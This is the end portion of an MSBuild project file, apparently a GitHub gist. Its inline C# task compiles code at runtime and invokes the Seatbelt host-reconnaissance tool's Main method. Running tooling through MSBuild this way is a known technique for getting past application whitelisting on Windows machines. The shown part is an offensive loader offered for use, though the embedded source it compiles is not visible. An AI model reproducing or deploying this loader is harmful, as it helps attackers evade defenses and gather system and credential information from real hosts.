parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.DirectoryServices.AccountManagement.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.IdentityModel.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Management.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Linq.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Web.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Web.Extensions.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Xml.dll");
parms.ReferencedAssemblies.Add("C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\System.Core.dll");
CompilerResults results = prov.CompileAssemblyFromSource(parms, code);
if (results.Errors.Count > 0)
{
StringBuilder sbExceptions = new StringBuilder();
foreach (CompilerError CompErr in results.Errors)
{
sbExceptions.AppendLine(
"Line number " + CompErr.Line +
", Error Number: " + CompErr.ErrorNumber +
", '" + CompErr.ErrorText + ";" +
Environment.NewLine + Environment.NewLine);
}
Console.WriteLine("Exception raised while compiling your code: " + sbExceptions.ToString());
}
Assembly assembly = results.CompiledAssembly;
Type program = assembly.GetType("Seatbelt.Program");
MethodInfo main = program.GetMethod("Main");
main.Invoke(null, null);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment